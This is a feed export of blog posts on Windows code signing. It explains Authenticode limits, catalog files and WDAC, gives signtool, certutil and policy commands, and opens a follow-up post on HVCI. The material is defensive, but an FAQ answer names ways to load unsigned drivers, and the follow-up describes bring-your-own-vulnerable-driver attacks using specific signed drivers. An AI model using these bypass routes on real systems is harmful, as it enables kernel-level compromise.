&lt;p&gt;By Rice&apos;s theorem corollary, no decision procedure can determine arbitrary non-trivial semantic properties of a program. A signing system can therefore certify only &quot;this binary came from a key-holder,&quot; never &quot;this binary is benign.&quot; Stuxnet 2010 [@stuxnet-dossier], Flame 2012 [@stevens-counter-cryptanalysis][@ms-advisory-2718704], Operation ShadowHammer 2019 [@securelist-shadowhammer], and the Bitwarden CLI npm hijack of 22 April 2026 [@bitwarden-statement][@stepsecurity-bitwarden][@hackernews-bitwarden] are four independent instances of the same gap, across four entirely different attack surfaces (stolen kernel-driver key; forged sub-CA via MD5 collision; compromised ASUS Live Update certificate; compromised npm OIDC trusted-publishing). The empirical scale is large: Kim, Kwon, and Dumitraș measured millions of certificates and hundreds of thousands of signed-but-malicious PE samples in the Windows code-signing PKI in their CCS 2017 paper [@dumitras-ccs-2017].&lt;/p&gt;
&lt;p&gt;The mathematics of Rice&apos;s theorem is succinct. Let $P$ be any non-trivial semantic property of programs (e.g. &lt;em&gt;is malicious&lt;/em&gt;). For any algorithm $A$ that on input program $p$ outputs $A(p) \in {\text{yes}, \text{no}}$ claiming whether $p$ has property $P$, there exists a program $q$ where $A(q)$ is wrong. A signature scheme is not such an algorithm $A$ in the first place: it computes $\text{Sig}_{\text{sk}}(\text{hash}(p))$. The signature output has no semantic content about $p$&apos;s behaviour; it asserts only that the holder of $\text{sk}$ touched $\text{hash}(p)$.&lt;/p&gt;
&lt;h3&gt;L2. CA cardinality and the weakest-link property&lt;/h3&gt;
&lt;p&gt;The trust graph for kernel-mode loads is narrow: a small number of Microsoft roots [@mslearn-kmcs-policy]. The trust graph for user-mode loads is the union of every root in the system Trusted Root store -- a much larger set. &lt;em&gt;Any one&lt;/em&gt; root, if compromised, degrades the entire user-mode code-identity trust graph; &lt;em&gt;any one&lt;/em&gt; sub-CA, if forged, opens the kernel-mode path for the lifetime of the certificate. The Sotirov / Stevens / Appelbaum / Lenstra / Molnar / Osvik / de Weger rogue-CA work from December 2008 [@hashclash-rogue-ca] demonstrated this dynamic for the web PKI; the same family of attack was then mounted in Flame in 2012 against the Microsoft Enforced Licensing Intermediate PCA [@ms-advisory-2718704]. The CSBR&apos;s EV-on-hardware requirements [@cabf-cs-documents] reduce stolen-key risk at the leaf level, but a forged sub-CA bypasses the leaf entirely.&lt;/p&gt;
&lt;h3&gt;L3. Catalog-store freshness on disconnected endpoints&lt;/h3&gt;
&lt;p&gt;A disconnected endpoint cannot freshness-check its &lt;code&gt;CatRoot&lt;/code&gt;. The catalog database is whatever Windows Update last delivered -- which means freshly issued catalogs covering newly shipped inbox files cannot be trusted on machines that have been offline. The Vulnerable Driver Blocklist faces the same problem in reverse: a freshly blocked driver does not become &lt;em&gt;un&lt;/em&gt;-trusted on a disconnected endpoint until the supplemental policy lands. Microsoft acknowledges this in the VDB documentation: &lt;em&gt;&quot;It&apos;s often necessary for us to hold back some blocks to avoid breaking existing functionality&quot;&lt;/em&gt; [@mslearn-recommended-driver-block-rules]. The publication lag is deliberate, not accidental, and there is no in-band way for an endpoint to ask &quot;is my VDB current?&quot;&lt;/p&gt;
&lt;h3&gt;L4. TSA centralisation and antedating&lt;/h3&gt;
&lt;p&gt;RFC 3161 has no transparency log. A compromised TSA can issue countersignatures with arbitrary &lt;code&gt;genTime&lt;/code&gt; undetectably, until and unless the TSA&apos;s root is revoked. Sigstore Rekor [@rekor-github] is the canonical answer to this problem in the OSS world; nothing equivalent ships in the Authenticode stack. The consequence is asymmetric: a compromised TSA can antedate a signature backwards, making a freshly signed but recently malicious binary appear to have been signed before the malicious campaign began -- which on most verifiers means it will &lt;em&gt;still&lt;/em&gt; verify even after the actual signing certificate is revoked.&lt;/p&gt;

flowchart TD
    L1[&quot;L1: Provenance != safety&lt;br /&gt;(Rice&apos;s theorem corollary)&quot;]
    L2[&quot;L2: CA cardinality&lt;br /&gt;(weakest-link property)&quot;]
    L3[&quot;L3: CatRoot freshness&lt;br /&gt;(offline endpoints stale)&quot;]
    L4[&quot;L4: TSA centralisation&lt;br /&gt;(no transparency log)&quot;]
    Floor[&quot;What is actually being proved:&lt;br /&gt;a key-holder touched hash(p) at genTime&quot;]
    L1 --&amp;gt; Floor
    L2 --&amp;gt; Floor
    L3 --&amp;gt; Floor
    L4 --&amp;gt; Floor

A valid signature proves only who signed the binary, never what the binary does.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Authenticode is the floor of Windows trust, not the ceiling. Every later layer -- Kernel-Mode Code Signing, App Control for Business, the Vulnerable Driver Blocklist, HVCI page-hash enforcement -- exists because the floor cannot, by construction, do more.&lt;/p&gt;
&lt;/blockquote&gt;

Stuxnet 2010, Flame 2012, ShadowHammer 2019, and Bitwarden CLI 2026 are four instances of the same lower bound, fourteen years apart, across four entirely different surfaces: a stolen private key for a kernel driver; a forged Microsoft sub-CA via cryptographic collision; a compromised ASUSTeK signing certificate used to sign a malicious updater; a compromised npm OIDC trusted-publishing pipeline used to publish a malicious CLI release. In each case the signature was valid. In each case the binary was malicious. The layers we add -- cross-signing deprecation, EV-on-hardware, the VDB, WDAC -- do not close the gap. They reduce the blast radius of the inevitable next incident.
&lt;p&gt;Once you see provenance and safety as separate questions, every open problem in the code-signing stack lines up in one direction: how do you reduce the blast radius of the inevitable next valid-but-malicious signature?&lt;/p&gt;
&lt;h2&gt;10. Open problems&lt;/h2&gt;
&lt;p&gt;Five problems are concrete enough to call out as ongoing work.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O1. Post-quantum Authenticode.&lt;/strong&gt; Microsoft has not yet published a &lt;code&gt;SpcIndirectDataContent&lt;/code&gt; variant that references the &lt;a href=&quot;https://paragmali.com/blog/post-quantum-cryptography-on-windows-the-thirty-year-migrati/&quot; rel=&quot;noopener&quot;&gt;ML-DSA&lt;/a&gt; (FIPS 204 [@fips-204]) or SLH-DSA (FIPS 205 [@fips-205]) OIDs. The CA/B Forum CSBR has not named a post-quantum algorithm for code-signing certificates; the current CSBR v3.8 [@cabf-cs-documents] still rests on RSA and ECDSA. NIST&apos;s PQC programme has set a 2035 deadline to deprecate quantum-vulnerable algorithms [@nist-pqc]. The CMS extensibility precedents are there: RFC 8554 profiles stateful LMS [@rfc-8554], RFC 8419 profiles EdDSA in CMS [@rfc-8419], and there is no architectural reason the same approach cannot profile ML-DSA. A hybrid-signed binary that carries both an RSA and an ML-DSA &lt;code&gt;SignerInfo&lt;/code&gt; inside the same &lt;code&gt;SignedData&lt;/code&gt; is technically possible today, and Microsoft will likely have to ship it before catastrophic loss of confidence in RSA can happen.FIPS 204 (ML-DSA) and FIPS 205 (SLH-DSA) were both finalised on 13 August 2024 [@fips-204][@fips-205]. The standards are stable; what is missing is the Authenticode-side OID registration and the Hardware Developer Center portal-signing pipeline that would emit a PQ counter-signature. The CSBR side and the Microsoft side both have to move; neither has publicly committed to a date.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O2. Per-page integrity for non-PE artefacts.&lt;/strong&gt; Page hashes inside &lt;code&gt;SpcPeImagePageHashes2&lt;/code&gt; [@authenticode-pe-docx] are PE-specific. PowerShell scripts, MSIX packages, Appx packages, and the &lt;code&gt;.cat&lt;/code&gt; files themselves rely on whole-file Authenticode hashing; if an attacker can corrupt a single byte after load, the OS does not currently re-hash. HVCI gives PE binaries a runtime check; the script and package side does not yet have an equivalent.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O3. Transparency logs for Authenticode countersignatures.&lt;/strong&gt; RFC 3161 TSAs do not publish their issued tokens. A backdated countersignature from a compromised TSA is currently undetectable beyond CA revocation. Sigstore Rekor [@rekor-github] demonstrates that a transparency log integrates with a signing pipeline at low overhead; there is no equivalent for the Microsoft-signed-driver world or for third-party Authenticode signers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O4. Revocation propagation latency.&lt;/strong&gt; The gap between &quot;the CA revokes&quot; and &quot;every endpoint refuses to verify&quot; is empirically days to weeks. CRLs are downloaded on a cadence (with &lt;code&gt;EnableCertPaddingCheck&lt;/code&gt; aside, OCSP is not even applied to Authenticode by default). The VDB&apos;s quarterly cadence [@mslearn-recommended-driver-block-rules] is faster than CRL-only and slower than the rate at which attackers can stand up an attack with a freshly stolen certificate. Some of this is unavoidable -- you cannot push a revocation faster than an offline endpoint can reach Windows Update -- but a structurally better answer is one of the open questions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O5. Post-CrowdStrike (July 2024) kernel-driver-loading discipline.&lt;/strong&gt; Microsoft&apos;s Windows Resiliency Initiative was announced in the wake of the 19 July 2024 CrowdStrike Falcon Sensor outage; a fully-specified replacement for today&apos;s third-party kernel-driver model has not yet shipped. A successful answer would push parts of today&apos;s Authenticode + KMCS + WDAC story toward sandboxed user-mode driver frameworks, with the kernel restricted to a much narrower interface. The Authenticode primitives this article has dissected will still be the substrate; what gets layered on top is the open architectural question.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This article is about the &lt;em&gt;crypto foundation&lt;/em&gt; under WDAC: the bytes on disk, the envelope structures, the chain of trust. It does not cover the runtime enforcement layer -- how Code Integrity, HVCI, and the secure kernel use these primitives at process- and driver-load time, how page hashes are checked at fault time, how the Vulnerable Driver Blocklist is loaded as a supplemental policy. That story is the subject of the next post in this series.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The next decade of Windows code-signing is going to be dominated by post-quantum migration and by whatever the Windows Resiliency Initiative converges to. Both will be evolution, not revolution: they will sit on top of the certificate-table, catalog-store, and timestamp-token primitives that have been load-bearing since 1996. To finish, the day-to-day commands that interrogate every byte we have discussed.&lt;/p&gt;
&lt;h2&gt;11. Practical guide: signtool, certutil, New-CIPolicyRule&lt;/h2&gt;
&lt;p&gt;If you have read this far, you should be able to run the following commands on a Windows host and explain every field of their output. Microsoft&apos;s &lt;code&gt;signtool&lt;/code&gt;, &lt;code&gt;certutil&lt;/code&gt;, and the &lt;code&gt;ConfigCI&lt;/code&gt; PowerShell module are the canonical tools [@mslearn-crypto-tools].&lt;/p&gt;
&lt;h3&gt;Verify a signed binary end to end&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;signtool verify /v /pa /all &quot;C:\Path\To\binary.exe&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output prints, in order: the SHA-256 of the file&apos;s Authenticode hash, the leaf certificate&apos;s subject and issuer, every intermediate up to the trusted root, the RFC 3161 timestamp&apos;s &lt;code&gt;genTime&lt;/code&gt;, and the policy used to validate. &lt;code&gt;/pa&lt;/code&gt; opts into the &quot;default authenticode&quot; policy (instead of the deprecated &lt;code&gt;MicrosoftRoot&lt;/code&gt; policy); &lt;code&gt;/all&lt;/code&gt; walks every signature on the file rather than just the strongest.&lt;/p&gt;
&lt;h3&gt;Compute and look up an Authenticode hash&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;certutil -hashfile &quot;C:\Path\To\driver.sys&quot; SHA256
certutil -CatDB &quot;C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}&quot; /v /search &amp;lt;hash&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;-hashfile&lt;/code&gt; command emits the &lt;em&gt;file&lt;/em&gt; SHA-256, which is &lt;em&gt;not&lt;/em&gt; the Authenticode hash (the file SHA-256 includes the certificate-table bytes; the Authenticode hash excludes them). The Authenticode hash is what is stored inside each catalog&apos;s &lt;code&gt;CatalogList&lt;/code&gt;. &lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt; is the easier PowerShell route to the Authenticode hash directly.&lt;/p&gt;
&lt;h3&gt;Walk the catalog store&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Get-ChildItem &quot;C:\Windows\System32\CatRoot&quot; -Recurse | Select-Object FullName
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The GUID-named subfolder is the CryptSvc policy database identifier; the &lt;code&gt;.cat&lt;/code&gt; files inside are individually-signed &lt;code&gt;SignedData&lt;/code&gt; blobs whose &lt;code&gt;encapContentInfo&lt;/code&gt; is a &lt;code&gt;CatalogList&lt;/code&gt; [@mslearn-catalog-files]. &lt;code&gt;CatRoot2&lt;/code&gt; holds staging copies and the catalog database index.&lt;/p&gt;
&lt;h3&gt;Generate a WDAC rule&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;New-CIPolicyRule -FilePath &quot;C:\Path\To\App.exe&quot; -Level FilePublisher
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This produces an XML &lt;code&gt;&amp;lt;FileRule&amp;gt;&lt;/code&gt; element with the issuer, subject CN, original file name, and minimum file version. Pipe the result into &lt;code&gt;New-CIPolicy&lt;/code&gt; to build a policy XML; convert to binary with &lt;code&gt;ConvertFrom-CIPolicy&lt;/code&gt; and deploy via Group Policy or Intune.&lt;/p&gt;
&lt;h3&gt;Decide between embedded and catalog signing&lt;/h3&gt;
&lt;p&gt;For an internal line-of-business app shipped as a single MSI, embedded signing is the default and the cleanest choice. For a multi-binary package where some files are third-party and unsignable, the Package Inspector workflow [@mslearn-deploy-catalog-files] builds a &lt;code&gt;.cat&lt;/code&gt; covering the post-installation file set without modifying any binary:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;PackageInspector.exe Start C:\
... install your app ...
PackageInspector.exe Stop C:\ -Name MyApp.cat -ResultsFile C:\Temp\MyApp_inspection.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Confirm a kernel-mode chain&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;signtool verify /v /pa /kp &quot;C:\Windows\System32\drivers\example.sys&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;/kp&lt;/code&gt; policy uses the kernel-mode driver policy: the chain must terminate at a kernel-mode-trusted root (the &lt;code&gt;Microsoft Code Verification Root&lt;/code&gt; family of anchors, or a portal-signed-driver Microsoft Root Authority anchor). &lt;code&gt;certutil -store -enterprise root&lt;/code&gt; enumerates the local kernel-mode roots; the legacy &lt;code&gt;Microsoft Code Verification Root&lt;/code&gt; is named on the KMCS policy page [@mslearn-kmcs-policy] but its thumbprint is not published on a stable Microsoft Learn URL -- you read it via &lt;code&gt;certutil -store&lt;/code&gt; on the running system.&lt;/p&gt;
&lt;h3&gt;Make an informed &lt;code&gt;EnableCertPaddingCheck&lt;/code&gt; decision&lt;/h3&gt;
&lt;p&gt;The strict-parser registry value lives in two places. Set both:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;reg add &quot;HKLM\Software\Microsoft\Cryptography\Wintrust\Config&quot; /v EnableCertPaddingCheck /t REG_DWORD /d 1 /f
reg add &quot;HKLM\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config&quot; /v EnableCertPaddingCheck /t REG_DWORD /d 1 /f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CISA added CVE-2013-3900 to the Known Exploited Vulnerabilities catalogue on 10 January 2022 [@nvd-cve-2013-3900]; treat this as effectively mandatory in any hardened-baseline build.&lt;/p&gt;
&lt;h3&gt;Annotated &lt;code&gt;signtool verify&lt;/code&gt; output&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Verifying: notepad.exe
Hash of file (sha256): 6B9B7E...   &amp;lt;-- Authenticode hash, the same one
                                       inside SpcIndirectDataContent.messageDigest
Signing Certificate Chain:
  Issued to: Microsoft Root Certificate Authority 2010   &amp;lt;-- root anchor
    Issued by: Microsoft Root Certificate Authority 2010
  Issued to: Microsoft Windows Production PCA 2011        &amp;lt;-- intermediate / PCA
    Issued by: Microsoft Root Certificate Authority 2010
  Issued to: Microsoft Windows                             &amp;lt;-- leaf / signer
    Issued by: Microsoft Windows Production PCA 2011
The signature is timestamped: Thu Jul ...                 &amp;lt;-- RFC 3161 genTime
Timestamp Verified by:
  Issued to: Microsoft Time-Stamp PCA 2010                &amp;lt;-- TSA chain
  Issued to: Microsoft Time-Stamp Service
File is signed and the signature was verified.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;{`
// Cross-platform pedagogy: this snippet shows the flow of a catalog lookup.
// On Windows, &quot;certutil -CatDB  /v /search &quot; returns the
// covering catalog file. Off Windows, we mock the output so the flow is visible.&lt;/p&gt;
&lt;p&gt;interface CatalogLookupResult {
  hash: string;
  catalogFile: string | null;
  signerSubject: string | null;
}&lt;/p&gt;
&lt;p&gt;function lookupCatalog(authenticodeHash: string): CatalogLookupResult {
  // Real implementation would shell out to:
  //   certutil -CatDB  /v /search 
  // Parse the output for &quot;Hash:   Catalog: &quot;.
  const known: Record&amp;lt;string, CatalogLookupResult&amp;gt; = {
    &quot;6B9B7E...&quot;: {
      hash: &quot;6B9B7E...&quot;,
      catalogFile: &quot;C:\\Windows\\System32\\CatRoot\\{F750E6C3-...}\\Package_for_KB12345.cat&quot;,
      signerSubject: &quot;CN=Microsoft Windows Production PCA 2011&quot;
    }
  };
  return known[authenticodeHash] || { hash: authenticodeHash, catalogFile: null, signerSubject: null };
}&lt;/p&gt;
&lt;p&gt;const r = lookupCatalog(&quot;6B9B7E...&quot;);
console.log(r.catalogFile ? &quot;Catalog-signed by &quot; + r.signerSubject : &quot;Not catalog-covered&quot;);
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The most common practitioner mistake is &lt;code&gt;signtool sign /n &amp;lt;name&amp;gt;&lt;/code&gt; without &lt;code&gt;/tr &amp;lt;tsa-url&amp;gt; /td sha256&lt;/code&gt;. A signature produced this way silently loses validity the moment the end-entity certificate expires -- which can be years later, when the signer has long since lost access to whatever signing key produced it. The fix is to always include &lt;code&gt;/tr&lt;/code&gt; and a strong &lt;code&gt;/td&lt;/code&gt;. RFC 3161 [@rfc-3161] is the entire reason long-lived signatures still verify; opting out of it is opting out of the longevity guarantee.&lt;/p&gt;
&lt;/blockquote&gt;

SmartScreen Application Reputation is not gated on Authenticode validity. It is gated on certificate *class* (EV vs. OV) and on aggregate *download volume* and reporting. An internally signed enterprise LOB app has neither: it is signed with an OV certificate, and its download volume is at most a few hundred enterprise users. The fix has two paths. The cheap one is to ride your enterprise WDAC policy rather than fight SmartScreen -- App Control rules allow the binary unconditionally inside your organisation. The expensive one is to buy an EV certificate, push the binary through a small early-access user pool, and let SmartScreen accumulate the reputation signal. Both work. Fighting SmartScreen with a louder OV signature does not.
&lt;p&gt;These seven commands cover the full surface of what Authenticode, catalog signing, and WDAC let a Windows engineer actually inspect. Everything else in this article is context for what those command outputs &lt;em&gt;mean&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;12. Frequently asked questions&lt;/h2&gt;

Authenticode is a specific PKCS#7 / CMS profile for signing Windows portable executables, catalog files, and a small set of related artefacts. It is defined by Microsoft&apos;s `Authenticode_PE.docx` specification [@authenticode-pe-docx] and is characterised by a PE-specific Authenticode hash (with four exclusions), the `SpcIndirectDataContent` content type at OID `1.3.6.1.4.1.311.2.1.4`, and the `WIN_CERTIFICATE` certificate-table wrapper. Other code-signing schemes -- JAR signing for Java, APK Signature Scheme v3 for Android [@android-apk-v3], sigstore/cosign for OCI artefacts [@sigstore-overview], Apple Notarization for macOS [@apple-notarization] -- are not Authenticode-compatible. They solve similar problems with different envelopes.

Not if the signature was RFC 3161 timestamped at signing time. The `TimeStampToken` in the unsigned attributes pegs the signing event to a `genTime` from a Trusted Time-Stamping Authority [@rfc-3161]; later verifiers compare `genTime` to the signing certificate&apos;s validity window and honour the signature so long as `genTime` was inside that window. The signature *will* stop working on hash-only WDAC rules (which do not consult certificate expiry at all) and on the rare verifiers that enforce chain time at validation. Signing without `/tr` is the way to produce a signature that silently loses validity at end-entity-cert expiry; that is the single most common Authenticode mistake at signing time.

Only by enabling Test Signing mode (which puts a watermark on the desktop and refuses to coexist with Secure Boot), or by booting with Driver Signature Enforcement disabled (which is a one-boot bypass), or by using a vulnerable signed driver to load your unsigned code (the entire point of the Vulnerable Driver Blocklist [@mslearn-recommended-driver-block-rules]). Production loading of an unsigned driver on a normally configured Windows 11 system is not supported. Cross-signing for new end-entity certs has been closed since the 29 July 2015 issuance cutoff [@mslearn-kmcs-policy]; cross-certificates expired by July 2021 [@mslearn-deprecation-spc-crc].

See the §11 Spoiler *&quot;Why your internally-signed LOB app trips SmartScreen&quot;* for the detailed explanation of why SmartScreen Application Reputation weights certificate class (EV vs. OV) and download volume rather than Authenticode validity, and for the two production fixes (ride your enterprise App Control policy, or buy an EV certificate and let reputation accumulate). The one-line summary: Authenticode and SmartScreen are different decision systems that happen to read the same `SignerInfo` -- making your signature *louder* in Authenticode does not buy you reputation in SmartScreen.

The `Microsoft Code Verification Root` is the historical kernel-mode trust anchor whose intermediate cross-signed third-party kernel code-signing CAs for pre-July-2015 drivers [@mslearn-kmcs-policy]. It is named in the KMCS policy document; its thumbprint is not published on a stable Microsoft Learn URL, so practitioners read it via `certutil -store` on the running system. The `Microsoft Code Signing PCA` family of intermediates (and its newer cousins like `Microsoft Windows Production PCA 2011`) are user-mode signing chains used for Microsoft-internal binaries and most WHQL catalogs. Both feed into `WinVerifyTrust`; they differ in which downstream consumer treats them as authoritative -- the kernel for the former, user-mode trust decisions for the latter.

No. The Authenticode hash excludes four PE regions: the optional-header `CheckSum` (4 bytes), the `IMAGE_DIRECTORY_ENTRY_SECURITY` data-directory entry (8 bytes), the certificate-table bytes themselves, and the file-alignment padding after each section [@authenticode-pe-docx]. So `(Get-AuthenticodeSignature notepad.exe).Hash` returns a different value than `certutil -hashfile notepad.exe SHA256`. The Authenticode hash is what is stored inside `SpcIndirectDataContent.messageDigest` and what is matched against catalog `memberHash` entries; the file SHA-256 is useful for forensic identification but does not appear anywhere in the signature flow.

They differ in precision and in which Authenticode fields they consult [@mslearn-select-types-of-rules]. `Publisher` allows anything signed by a given issuing CA + leaf-cert subject CN; broadest but loosest. `FilePublisher` adds `OriginalFileName` + `MinimumFileVersion` constraints; tightens to a specific binary at a min version. `WHQLFilePublisher` further requires the WHQL EKU; the strictest commonly used rule level. Self-updating apps invalidate `FilePublisher` rules silently when their `OriginalFileName` or `FileVersion` change without warning [@mslearn-use-code-signing]; most enterprises start at `Publisher` and tighten only for high-risk binaries.

No. NVD&apos;s verbatim Microsoft language: *&quot;Microsoft does not plan to enforce the stricter verification behavior as a default functionality on supported releases of Microsoft Windows. This behavior remains available as an opt-in feature via reg key setting, and is available on supported editions of Windows released since December 10, 2013&quot;* [@nvd-cve-2013-3900]. CISA added the CVE to the Known Exploited Vulnerabilities catalogue on 10 January 2022 with a federal due date of 10 July 2022. Hardened environments should set `EnableCertPaddingCheck=1` in both the native and `Wow6432Node` registry paths.
&lt;h2&gt;13. Closing reflection&lt;/h2&gt;
&lt;p&gt;In August 1996 the Authenticode trust decision was a single yes/no answer to a single question: did this PKCS#7 SignedData blob, attached to this downloadable ActiveX control, validate against a CA in the user&apos;s browser? Thirty years later, the trust decision is a chained question composing every primitive in this article: a &lt;code&gt;WIN_CERTIFICATE&lt;/code&gt; record points to a &lt;code&gt;SignedData&lt;/code&gt; envelope; the envelope&apos;s &lt;code&gt;SpcIndirectDataContent&lt;/code&gt; carries an Authenticode hash and optional page hashes; an unsigned attribute carries an RFC 3161 timestamp; the catalog store may carry a parallel signature for the same hash; the certificate chain terminates at one of a small set of Microsoft anchors for kernel-mode loads; an administrator&apos;s App Control policy decides whether the verdict survives the rule evaluation; the Vulnerable Driver Blocklist denies a small curated list outright.&lt;/p&gt;
&lt;p&gt;The cryptography has not moved. The certificate table is still where the bytes live. PKCS#7 SignedData is still the envelope. RSA is still the signature algorithm. What has changed -- and what is going to keep changing through the post-quantum migration and whatever the Windows Resiliency Initiative converges to -- is the layering of policy on top.&lt;/p&gt;
&lt;p&gt;Authenticode is not the ceiling. It is the floor. Everything else is built on top, and the next time a Realtek certificate is stolen, those layers are what decides whether the next Stuxnet still loads.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;authenticode-and-catalog-files-the-crypto-foundation-under-wdac&quot; keyTerms={[
  { term: &quot;Authenticode&quot;, definition: &quot;Microsoft&apos;s PKCS#7 / CMS profile for signing Windows PE binaries, defined by Authenticode_PE.docx.&quot; },
  { term: &quot;WIN_CERTIFICATE&quot;, definition: &quot;The PE certificate-table record (dwLength, wRevision, wCertificateType, bCertificate[]) wrapping the PKCS#7 SignedData blob.&quot; },
  { term: &quot;SpcIndirectDataContent&quot;, definition: &quot;Microsoft eContentType (OID 1.3.6.1.4.1.311.2.1.4) whose messageDigest is the Authenticode hash; signs a hash, not a file.&quot; },
  { term: &quot;Authenticode hash&quot;, definition: &quot;The PE digest computed with four regions excluded (CheckSum, SECURITY data-directory entry, certificate-table bytes, section-padding).&quot; },
  { term: &quot;Page hash (SpcPeImagePageHashes2)&quot;, definition: &quot;Signed attribute carrying per-4 KiB-page hashes for HVCI demand-fault-time verification.&quot; },
  { term: &quot;Catalog file (.cat)&quot;, definition: &quot;A degenerate SignedData whose encapsulated content is a CatalogList of (memberHash, attributes) tuples; detached signature.&quot; },
  { term: &quot;CatRoot / CryptSvc&quot;, definition: &quot;On-endpoint catalog store at %SystemRoot%\System32\CatRoot\{GUID}\ and the service that indexes member hashes.&quot; },
  { term: &quot;Trusted Time-Stamping Authority (TSA)&quot;, definition: &quot;RFC 3161 service that counter-signs a signature&apos;s hash with a trusted genTime, attached as an unsigned attribute.&quot; },
  { term: &quot;WinVerifyTrust&quot;, definition: &quot;CryptoAPI function orchestrating the Authenticode verification pipeline.&quot; },
  { term: &quot;Code Integrity / ci.dll&quot;, definition: &quot;Windows kernel-mode component enforcing KMCS on driver loads and feeding page hashes to HVCI.&quot; },
  { term: &quot;Microsoft Code Verification Root&quot;, definition: &quot;Historical kernel-mode trust anchor for cross-signed third-party drivers; thumbprint read via certutil -store.&quot; },
  { term: &quot;App Control for Business (WDAC)&quot;, definition: &quot;Post-2024 rename of Windows Defender Application Control; consumes Authenticode primitives as policy inputs.&quot; },
  { term: &quot;FilePublisher rule&quot;, definition: &quot;WDAC rule level allowing Publisher + OriginalFileName + MinimumFileVersion combinations.&quot; },
  { term: &quot;Vulnerable Driver Blocklist (VDB)&quot;, definition: &quot;Microsoft-curated supplemental deny policy enabled by default since Windows 11 22H2; quarterly cadence.&quot; },
  { term: &quot;RFC 3161 TimeStampToken&quot;, definition: &quot;CMS SignedData over hash(signature) || genTime, attached at OID 1.2.840.113549.1.9.16.2.14 as an unsigned attribute.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>authenticode</category><category>wdac</category><category>code-signing</category><category>pkcs7</category><category>windows-security</category><category>catalog-files</category><category>kmcs</category><category>rfc-3161</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>WDAC + HVCI: Code Integrity at Every Layer in Windows</title><link>https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/</link><guid isPermaLink="true">https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/</guid><description>How Windows decides which code is allowed to run, end-to-end: WDAC policy schema, HVCI per-VTL SLAT enforcement, the audit-to-enforce loop, and the residual attack surface neither feature can close.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Windows enforces &quot;which code is allowed to run&quot; through two coupled primitives.** WDAC is an XML-schema policy that the in-kernel `CI.dll` evaluates at every PE load. HVCI is the hypervisor-rooted check that runs `SkCi.dll` inside Virtual Trust Level 1, where the VTL0 kernel cannot reach it. Together they form the runtime enforcement loop on top of the App Identity primitives, and together they refuse the 8-microsecond signed-driver load that opens this article. This piece walks the policy schema, the audit-to-enforce migration discipline, the per-VTL SLAT state machine, the Vulnerable Driver Block List, and the residual attack surface (return-oriented programming, signed living-off-the-land binaries, hypervisor rollback) that the loop cannot close.
&lt;h2&gt;1. Signed Code Still Isn&apos;t Trusted Code&lt;/h2&gt;
&lt;p&gt;A red-team operator drops a signed, valid, never-revoked OEM driver onto a freshly-imaged Windows 11 24H2 box with the default WDAC policy enforced and HVCI on. The driver is &lt;code&gt;dbutil_2_3.sys&lt;/code&gt;, a real Dell utility tracked as CVE-2021-21551 [@nvd-cve-2021-21551], with an authentic Microsoft-trusted certificate in its embedded signature. The &lt;code&gt;sc.exe create&lt;/code&gt; call returns success. The &lt;code&gt;StartService&lt;/code&gt; call spins for roughly eight microseconds. Then the driver fails to load with &lt;code&gt;ERROR_DRIVER_BLOCKED&lt;/code&gt;, and the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; event log lights up with event 3033 [@ms-driver-blocklist].&lt;/p&gt;
&lt;p&gt;The driver is not malware. It is a perfectly legitimate diagnostic utility that Dell shipped to hundreds of millions of laptops between 2009 and 2021 [@sentinelone-dbutil], signed by a certificate that chains to a root in the Microsoft Trusted Root Program. The certificate has not expired. It has not been revoked. The driver itself is intact -- not modified, not repacked, not even slightly truncated. And it cannot run.&lt;/p&gt;

A class of attack in which a privileged operator (or an exploited userland process that has reached LocalSystem) loads a driver that is *signed* and *trusted* by the operating system, but contains a vulnerability that lets the loader execute arbitrary code in ring 0. The driver is the vehicle; the vulnerability inside the driver is the payload. The Dell `dbutil_2_3.sys` driver and the MSI Afterburner `RTCore64.sys` driver are the canonical 2018-2024 examples (CVE-2019-16098 [@nvd-cve-2019-16098], CVE-2021-21551 [@nvd-cve-2021-21551]).
